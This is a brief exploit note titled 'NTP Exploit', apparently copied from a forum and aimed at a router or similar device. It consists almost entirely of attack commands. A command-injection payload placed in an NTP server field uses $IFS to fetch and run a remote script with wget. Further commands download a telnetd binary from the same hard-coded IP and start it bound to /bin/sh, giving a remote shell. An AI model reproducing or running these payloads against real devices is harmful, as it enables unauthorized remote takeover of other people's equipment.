NTP Exploit

pool.ntp.org;$(cd$IFS/tmp;/usr/bin/wget$IFS\http://83.221.117.229/script.sh;/bin/sh$IFS/tmp/script.sh)
mount -t tmpfs -osize=2m tmpfs /mnt

cd /mnt
/usr/bin/wget http://83.221.117.229/telnetd
/bin/chmod 0777 /mnt/telnetd
/mnt/telnetd -l /bin/sh

Credits: Cyberstorm, Roleo su Ilpuntotecnicoeadsl Forum